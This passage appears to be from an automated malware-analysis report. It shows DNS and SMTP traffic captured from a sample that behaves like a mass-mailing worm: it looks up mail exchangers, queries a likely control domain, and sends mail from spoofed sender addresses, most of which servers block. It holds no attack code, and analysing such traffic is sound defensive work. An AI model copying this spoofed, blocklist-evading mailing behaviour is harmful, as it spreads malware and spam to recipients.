Jan 7, 2022 15:57:38.068356037 CET	8.8.8.8	192.168.2.4	0x7faf	No error (0)	ismtp.sitestar.everyone.net		216.200.145.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.091883898 CET	8.8.8.8	192.168.2.4	0x88bf	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.117351055 CET	8.8.8.8	192.168.2.4	0xef18	No error (0)	aspmx2.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.138590097 CET	8.8.8.8	192.168.2.4	0x88a0	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.153505087 CET	8.8.8.8	192.168.2.4	0xad5	No error (0)	mxa-00377f03.gslb.pphosted.com		205.220.176.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.160978079 CET	8.8.8.8	192.168.2.4	0xf3d8	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.233686924 CET	8.8.8.8	192.168.2.4	0x6553	No error (0)	onlineconnections.com.au			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:38.233958960 CET	8.8.8.8	192.168.2.4	0xe014	No error (0)	pb-mx10.pobox.com		64.147.108.51	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.256500959 CET	8.8.8.8	192.168.2.4	0x8c4b	No error (0)	pb-mx21.pobox.com		173.228.157.40	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.273801088 CET	8.8.8.8	192.168.2.4	0x57e7	No error (0)	mxb-00377f03.gslb.pphosted.com		205.220.176.130	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.275671005 CET	8.8.8.8	192.168.2.4	0x2d11	No error (0)	pb-mx11.pobox.com		64.147.108.52	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.293862104 CET	8.8.8.8	192.168.2.4	0xcb9e	No error (0)	mxb-00377f01.gslb.pphosted.com		185.183.28.235	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.322617054 CET	8.8.8.8	192.168.2.4	0xd53	No error (0)	mxa-00377f01.gslb.pphosted.com		185.132.181.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:38.499782085 CET	8.8.8.8	192.168.2.4	0x3e30	No error (0)	onlineconnections.com.au		192.254.190.168	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.015237093 CET	8.8.8.8	192.168.2.4	0xf577	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.015237093 CET	8.8.8.8	192.168.2.4	0xf577	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.015237093 CET	8.8.8.8	192.168.2.4	0xf577	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.015237093 CET	8.8.8.8	192.168.2.4	0xf577	No error (0)	openoffice.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.040442944 CET	8.8.8.8	192.168.2.4	0x6c0a	Name error (3)	mx2-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.065047026 CET	8.8.8.8	192.168.2.4	0x30be	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.065047026 CET	8.8.8.8	192.168.2.4	0x30be	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.065047026 CET	8.8.8.8	192.168.2.4	0x30be	No error (0)	w3.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.068979979 CET	8.8.8.8	192.168.2.4	0x8f69	Name error (3)	mx1-lw-eu.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.088205099 CET	8.8.8.8	192.168.2.4	0xab41	No error (0)	bart.w3.org		193.51.208.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.089267015 CET	8.8.8.8	192.168.2.4	0xfc5e	Name error (3)	mx2-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.119832039 CET	8.8.8.8	192.168.2.4	0xc9c0	Name error (3)	mx1-lw-us.apache.org	none	none	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.134591103 CET	8.8.8.8	192.168.2.4	0xc7ce	No error (0)	mimas.w3.org		128.30.52.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.216011047 CET	8.8.8.8	192.168.2.4	0x7af3	No error (0)	titan.w3.org		128.30.52.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:39.216186047 CET	8.8.8.8	192.168.2.4	0x6e3f	No error (0)	lists.sourceforge.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:39.239161015 CET	8.8.8.8	192.168.2.4	0x7a7e	No error (0)	mx.sourceforge.net		216.105.38.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.420111895 CET	8.8.8.8	192.168.2.4	0x3b22	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.420111895 CET	8.8.8.8	192.168.2.4	0x3b22	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.420111895 CET	8.8.8.8	192.168.2.4	0x3b22	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.420111895 CET	8.8.8.8	192.168.2.4	0x3b22	No error (0)	jk.uni-linz.ac.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.444185972 CET	8.8.8.8	192.168.2.4	0xfd68	No error (0)	mail3.edvz.uni-linz.ac.at		140.78.3.83	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.470482111 CET	8.8.8.8	192.168.2.4	0x7c0e	No error (0)	mail4.edvz.uni-linz.ac.at		140.78.3.82	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.498214960 CET	8.8.8.8	192.168.2.4	0x1f64	No error (0)	mail1.edvz.uni-linz.ac.at		140.78.3.68	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.546411037 CET	8.8.8.8	192.168.2.4	0x1f6e	No error (0)	mail2.edvz.uni-linz.ac.at		140.78.3.69	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:41.629916906 CET	8.8.8.8	192.168.2.4	0xe484	No error (0)	cdata.tvnet.hu			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.707338095 CET	8.8.8.8	192.168.2.4	0xda47	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:41.729213953 CET	8.8.8.8	192.168.2.4	0x1bfd	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:42.405510902 CET	8.8.8.8	192.168.2.4	0xbb83	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.462487936 CET	8.8.8.8	192.168.2.4	0xa3d2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.505873919 CET	8.8.8.8	192.168.2.4	0x3fa0	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.530541897 CET	8.8.8.8	192.168.2.4	0xbf4d	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.567410946 CET	8.8.8.8	192.168.2.4	0xa888	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.671853065 CET	8.8.8.8	192.168.2.4	0x895f	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.896100044 CET	8.8.8.8	192.168.2.4	0x9cfb	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.923871994 CET	8.8.8.8	192.168.2.4	0xf3e2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.954413891 CET	8.8.8.8	192.168.2.4	0x952	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:42.990453959 CET	8.8.8.8	192.168.2.4	0xcc31	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.036422968 CET	8.8.8.8	192.168.2.4	0xfd14	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.083750963 CET	8.8.8.8	192.168.2.4	0x7f21	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.110395908 CET	8.8.8.8	192.168.2.4	0xd5f1	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.147880077 CET	8.8.8.8	192.168.2.4	0xc561	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.176388025 CET	8.8.8.8	192.168.2.4	0xdb4d	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.203737020 CET	8.8.8.8	192.168.2.4	0x8af9	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.235488892 CET	8.8.8.8	192.168.2.4	0xc87f	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.271724939 CET	8.8.8.8	192.168.2.4	0x447e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.302695990 CET	8.8.8.8	192.168.2.4	0x3b97	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.330461979 CET	8.8.8.8	192.168.2.4	0x6098	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.362586021 CET	8.8.8.8	192.168.2.4	0x1045	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.393727064 CET	8.8.8.8	192.168.2.4	0x5cec	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.447278976 CET	8.8.8.8	192.168.2.4	0x29c2	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.795938969 CET	8.8.8.8	192.168.2.4	0x186a	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.843097925 CET	8.8.8.8	192.168.2.4	0x246d	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.878983974 CET	8.8.8.8	192.168.2.4	0x2490	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.925791025 CET	8.8.8.8	192.168.2.4	0x3a87	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.959229946 CET	8.8.8.8	192.168.2.4	0x73d5	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:43.999453068 CET	8.8.8.8	192.168.2.4	0x7a09	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.033415079 CET	8.8.8.8	192.168.2.4	0x50fd	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.066715956 CET	8.8.8.8	192.168.2.4	0xa31d	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.126270056 CET	8.8.8.8	192.168.2.4	0x2bee	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.162837029 CET	8.8.8.8	192.168.2.4	0xe53c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.204607010 CET	8.8.8.8	192.168.2.4	0x9fd1	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.253431082 CET	8.8.8.8	192.168.2.4	0xd229	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.286039114 CET	8.8.8.8	192.168.2.4	0x8257	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.316191912 CET	8.8.8.8	192.168.2.4	0xb39b	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.374350071 CET	8.8.8.8	192.168.2.4	0x91e8	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.408562899 CET	8.8.8.8	192.168.2.4	0xb5e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.441610098 CET	8.8.8.8	192.168.2.4	0x60f0	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.484009027 CET	8.8.8.8	192.168.2.4	0x85e1	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.518899918 CET	8.8.8.8	192.168.2.4	0x374e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.554713011 CET	8.8.8.8	192.168.2.4	0xa077	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.601941109 CET	8.8.8.8	192.168.2.4	0x9d0c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.642365932 CET	8.8.8.8	192.168.2.4	0xf0d7	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.676553965 CET	8.8.8.8	192.168.2.4	0x63e	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.722868919 CET	8.8.8.8	192.168.2.4	0x4469	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.752181053 CET	8.8.8.8	192.168.2.4	0x1269	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.798357964 CET	8.8.8.8	192.168.2.4	0xb8f	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:44.829803944 CET	8.8.8.8	192.168.2.4	0x3845	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:50.922399998 CET	8.8.8.8	192.168.2.4	0x4a57	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:50.959767103 CET	8.8.8.8	192.168.2.4	0x5c8c	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:51.022165060 CET	8.8.8.8	192.168.2.4	0xc39e	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:51.380922079 CET	8.8.8.8	192.168.2.4	0x4731	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:51.674654961 CET	8.8.8.8	192.168.2.4	0x397e	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:58:14.678000927 CET	8.8.8.8	192.168.2.4	0x4580	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.712820053 CET	8.8.8.8	192.168.2.4	0xc5fb	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.758413076 CET	8.8.8.8	192.168.2.4	0x6b88	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.807682991 CET	8.8.8.8	192.168.2.4	0xc2a	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.853596926 CET	8.8.8.8	192.168.2.4	0xf898	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.897419930 CET	8.8.8.8	192.168.2.4	0xb2f7	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.936224937 CET	8.8.8.8	192.168.2.4	0x9191	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:14.992965937 CET	8.8.8.8	192.168.2.4	0xae56	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.041440964 CET	8.8.8.8	192.168.2.4	0xb0	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.067325115 CET	8.8.8.8	192.168.2.4	0xfaee	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.098793030 CET	8.8.8.8	192.168.2.4	0x7a03	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:58:15.122755051 CET	8.8.8.8	192.168.2.4	0xd726	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:58:15.129421949 CET	8.8.8.8	192.168.2.4	0xc3e6	Name error (3)	shell32.dll	none	none	MX (Mail exchange)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 7, 2022 15:55:56.173206091 CET	25	49756	67.195.204.72	192.168.2.4	220 mtaproxy312.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:55:57.417010069 CET	25	49759	104.47.17.97	192.168.2.4	220 DB8EUR05FT040.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:57 +0000
Jan 7, 2022 15:56:00.875108957 CET	25	49761	67.195.204.72	192.168.2.4	220 mtaproxy303.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:00.875288010 CET	49761	25	192.168.2.4	67.195.204.72	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:56:00.941044092 CET	25	49762	104.47.17.97	192.168.2.4	220 DB8EUR05FT037.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:00 +0000
Jan 7, 2022 15:56:00.941298962 CET	49762	25	192.168.2.4	104.47.17.97	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:56:00.984954119 CET	25	49762	104.47.17.97	192.168.2.4	250 DB8EUR05FT037.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:00.985511065 CET	49762	25	192.168.2.4	104.47.17.97	MAIL FROM: <serv@hotmail.com>
Jan 7, 2022 15:56:00.993182898 CET	25	49761	67.195.204.72	192.168.2.4	250 mtaproxy303.free.mail.bf1.yahoo.com
Jan 7, 2022 15:56:00.993411064 CET	49761	25	192.168.2.4	67.195.204.72	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:56:01.027422905 CET	25	49762	104.47.17.97	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DB8EUR05FT037.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:56:01.027890921 CET	49762	25	192.168.2.4	104.47.17.97	QUIT
Jan 7, 2022 15:56:01.109184980 CET	25	49761	67.195.204.72	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:01.109627962 CET	49761	25	192.168.2.4	67.195.204.72	QUIT
Jan 7, 2022 15:56:01.339690924 CET	25	49764	77.88.21.249	192.168.2.4	220 iva3-f4f79cc081a3.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567361-6NprxVXvlH-u1bK91o6
Jan 7, 2022 15:56:01.339934111 CET	49764	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:01.396652937 CET	25	49764	77.88.21.249	192.168.2.4	250 iva3-f4f79cc081a3.qloud-c.yandex.net
Jan 7, 2022 15:56:01.396980047 CET	49764	25	192.168.2.4	77.88.21.249	MAIL FROM: <carol.rodriguez@gmail.com>
Jan 7, 2022 15:56:01.457175016 CET	25	49764	77.88.21.249	192.168.2.4	250 2.1.0 <carol.rodriguez@gmail.com> ok 1641567361-6NprxVXvlH-u1bK0mHI
Jan 7, 2022 15:56:01.457350016 CET	49764	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:56:01.508352041 CET	25	49763	67.195.228.109	192.168.2.4	220 mtaproxy502.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:01.508651018 CET	49763	25	192.168.2.4	67.195.228.109	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:56:01.521148920 CET	25	49764	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567361-6NprxVXvlH-u1bK0mHI
Jan 7, 2022 15:56:01.521332026 CET	49764	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:01.576864958 CET	25	49764	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:01.672384024 CET	25	49763	67.195.228.109	192.168.2.4	250 mtaproxy502.free.mail.gq1.yahoo.com
Jan 7, 2022 15:56:01.672394037 CET	25	49765	77.88.21.249	192.168.2.4	220 iva7-17d8149460ee.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567361-jzmKXdqeFy-u1eG4c7M
Jan 7, 2022 15:56:01.672595024 CET	49763	25	192.168.2.4	67.195.228.109	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:56:01.672704935 CET	49765	25	192.168.2.4	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:56:01.724900961 CET	25	49765	77.88.21.249	192.168.2.4	250 iva7-17d8149460ee.qloud-c.yandex.net
Jan 7, 2022 15:56:01.725095987 CET	49765	25	192.168.2.4	77.88.21.249	MAIL FROM: <serv@tut.by>
Jan 7, 2022 15:56:01.815320969 CET	25	49765	77.88.21.249	192.168.2.4	250 2.1.0 <serv@tut.by> ok 1641567361-jzmKXdqeFy-u1eGuLZ5
Jan 7, 2022 15:56:01.815493107 CET	49765	25	192.168.2.4	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:56:01.835314035 CET	25	49763	67.195.228.109	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:01.835467100 CET	49763	25	192.168.2.4	67.195.228.109	QUIT
Jan 7, 2022 15:56:01.880126953 CET	25	49765	77.88.21.249	192.168.2.4	550 5.7.1 No such user! 1641567361-jzmKXdqeFy-u1eGuLZ5
Jan 7, 2022 15:56:01.880423069 CET	49765	25	192.168.2.4	77.88.21.249	QUIT
Jan 7, 2022 15:56:01.932599068 CET	25	49765	77.88.21.249	192.168.2.4	221 2.0.0 Closing connecton
Jan 7, 2022 15:56:02.166557074 CET	25	49766	67.195.228.110	192.168.2.4	220 mtaproxy306.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:02.167992115 CET	49766	25	192.168.2.4	67.195.228.110	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:56:02.332448006 CET	25	49766	67.195.228.110	192.168.2.4	250 mtaproxy306.free.mail.gq1.yahoo.com
Jan 7, 2022 15:56:02.332796097 CET	49766	25	192.168.2.4	67.195.228.110	MAIL FROM: <sec@yahoo.com>
Jan 7, 2022 15:56:02.497934103 CET	25	49766	67.195.228.110	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:02.498385906 CET	49766	25	192.168.2.4	67.195.228.110	QUIT
Jan 7, 2022 15:56:02.734713078 CET	25	49767	74.208.5.20	192.168.2.4	554-mail.com (mxgmxus009) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:56:03.005004883 CET	25	49769	74.208.5.22	192.168.2.4	554-mail.com (mxgmxus008) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:56:03.071408033 CET	25	49770	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP p26si5774207lji.612 - gsmtp
Jan 7, 2022 15:56:03.071537018 CET	49770	25	192.168.2.4	142.250.150.26	HELO alt1.gmail-smtp-in.l.google.com
Jan 7, 2022 15:56:03.126597881 CET	25	49770	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:03.126718998 CET	49770	25	192.168.2.4	142.250.150.26	MAIL FROM: <sec@gmail.com>
Jan 7, 2022 15:56:03.179501057 CET	25	49770	142.250.150.26	192.168.2.4	250 2.1.0 OK p26si5774207lji.612 - gsmtp
Jan 7, 2022 15:56:03.179642916 CET	49770	25	192.168.2.4	142.250.150.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:56:03.515963078 CET	25	49770	142.250.150.26	192.168.2.4	250 2.1.5 OK p26si5774207lji.612 - gsmtp
Jan 7, 2022 15:56:03.516242027 CET	49770	25	192.168.2.4	142.250.150.26	DATA
Jan 7, 2022 15:56:03.570157051 CET	25	49770	142.250.150.26	192.168.2.4	354 Go ahead p26si5774207lji.612 - gsmtp
Jan 7, 2022 15:56:03.662408113 CET	25	49771	194.152.32.74	192.168.2.4	220-timmy4-world.inbox.lv ESMTP
Jan 7, 2022 15:56:03.662580967 CET	49771	25	192.168.2.4	194.152.32.74	HELO mx1.inbox.lv
Jan 7, 2022 15:56:03.714881897 CET	25	49771	194.152.32.74	192.168.2.4	250 timmy4-world.inbox.lv
Jan 7, 2022 15:56:03.715018034 CET	49771	25	192.168.2.4	194.152.32.74	MAIL FROM: <debby.wilson@care2.com>
Jan 7, 2022 15:56:03.756961107 CET	25	49771	194.152.32.74	192.168.2.4	250 2.1.0 Ok
Jan 7, 2022 15:56:03.757361889 CET	49771	25	192.168.2.4	194.152.32.74	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:56:03.799352884 CET	25	49771	194.152.32.74	192.168.2.4	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:56:03.799555063 CET	49771	25	192.168.2.4	194.152.32.74	QUIT
Jan 7, 2022 15:56:03.817821980 CET	25	49772	195.3.96.71	192.168.2.4	220 smarthub82.res.a1.net ESMTP
Jan 7, 2022 15:56:03.817975998 CET	49772	25	192.168.2.4	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:56:03.838496923 CET	25	49772	195.3.96.71	192.168.2.4	250 smarthub82.res.a1.net
Jan 7, 2022 15:56:03.838615894 CET	49772	25	192.168.2.4	195.3.96.71	MAIL FROM: <jeremy1961@mail.aim.com>
Jan 7, 2022 15:56:03.841487885 CET	25	49771	194.152.32.74	192.168.2.4	221 2.0.0 Bye
Jan 7, 2022 15:56:03.861042976 CET	25	49772	195.3.96.71	192.168.2.4	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:56:03.861227036 CET	49772	25	192.168.2.4	195.3.96.71	QUIT
Jan 7, 2022 15:56:03.881748915 CET	25	49772	195.3.96.71	192.168.2.4	221 smarthub82.res.a1.net Goodbye.
Jan 7, 2022 15:56:03.883325100 CET	25	49773	194.152.32.75	192.168.2.4	220-timmy5-world.inbox.lv ESMTP
Jan 7, 2022 15:56:03.883466005 CET	49773	25	192.168.2.4	194.152.32.75	HELO mx2.inbox.lv
Jan 7, 2022 15:56:03.925262928 CET	25	49773	194.152.32.75	192.168.2.4	250 timmy5-world.inbox.lv
Jan 7, 2022 15:56:03.925405025 CET	49773	25	192.168.2.4	194.152.32.75	MAIL FROM: <debby.wilson@care2.com>
Jan 7, 2022 15:56:03.967139959 CET	25	49773	194.152.32.75	192.168.2.4	250 2.1.0 Ok
Jan 7, 2022 15:56:03.967339039 CET	49773	25	192.168.2.4	194.152.32.75	RCPT TO: <macjohnsmith@inbox.lv>
